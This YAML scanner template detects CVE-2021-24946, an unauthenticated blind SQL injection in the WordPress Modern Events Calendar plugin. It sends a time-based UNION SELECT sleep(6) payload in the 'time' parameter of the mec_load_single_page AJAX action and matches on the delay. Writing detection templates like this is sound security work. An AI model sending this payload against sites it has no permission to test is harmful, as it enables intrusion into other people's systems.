id: CVE-2021-24946

info:
  name: WordPress Modern Events Calendar <6.1.5 - Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Modern Events Calendar plugin before 6.1.5 is susceptible to blind SQL injection. The plugin does not sanitize and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://wpscan.com/vulnerability/09871847-1d6a-4dfe-8a8c-f2f53ff87445
    - https://wordpress.org/plugins/modern-events-calendar-lite/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24946
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24946
    cwe-id: CWE-89
  metadata:
    verified: "true"
  tags: wordpress,wp-plugin,wp,unauth,wpscan,cve,cve2021,sqli,modern-events-calendar-lite

requests:
  - raw:
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200 || status_code == 500'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "The event is finished") || contains(body, "been a critical error")'
        condition: and

# Enhanced by md on 2023/01/06